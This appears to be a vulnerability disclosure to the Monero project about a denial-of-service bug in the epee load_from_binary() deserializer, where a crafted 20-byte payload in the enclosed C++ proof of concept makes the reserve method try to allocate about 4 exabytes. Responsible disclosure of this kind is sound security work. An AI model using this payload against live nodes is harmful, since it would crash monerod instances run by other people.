(remote) exabyte allocation via load_from_binary() (DoS)

Changes introduced in commit b82efa32e can result in a denial of service if ```epee::serialization::portable_storage::load_from_binary()``` is called with untrusted data. The 'reserve' method implemented here: https://github.com/monero-project/monero/commit/b82efa32e771f653c5e49165b0659c67e2db3438#diff-8de201c60a8c7a3a0a4c2e15f2c0939bR75 will attempt to allocate about 4 exabytes of memory when you run the following code: ```cpp #include <serialization/keyvalue_serialization.h> #include <storages/portable_storage_template_helper.h> #include <storages/portable_storage_base.h> #include <p2p/p2p_protocol_defs.h> #include <p2p/net_node.h> int main(void) { unsigned char payload[] = { 0x01, 0x11, 0x01, 0x01, 0x01, 0x01, 0x02, 0x01, 0x01, 0x08, 0x00, 0x84, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; const std::string s(payload, payload + 20); epee::serialization::portable_storage ps; ps.load_from_binary(s); } ``` Although I haven't yet constructed a proof of concept against a live Monero instance, this can probably achieved by a remote attacker because the ```load_from_binary``` call occurs several times in the network code in ```contrib/epee/include/storages/levin_abstract_invoke2.h```. Please let me know if this is sufficient, or that you require proof of concept code that can be used against peers on the network. ## Impact Crash monerod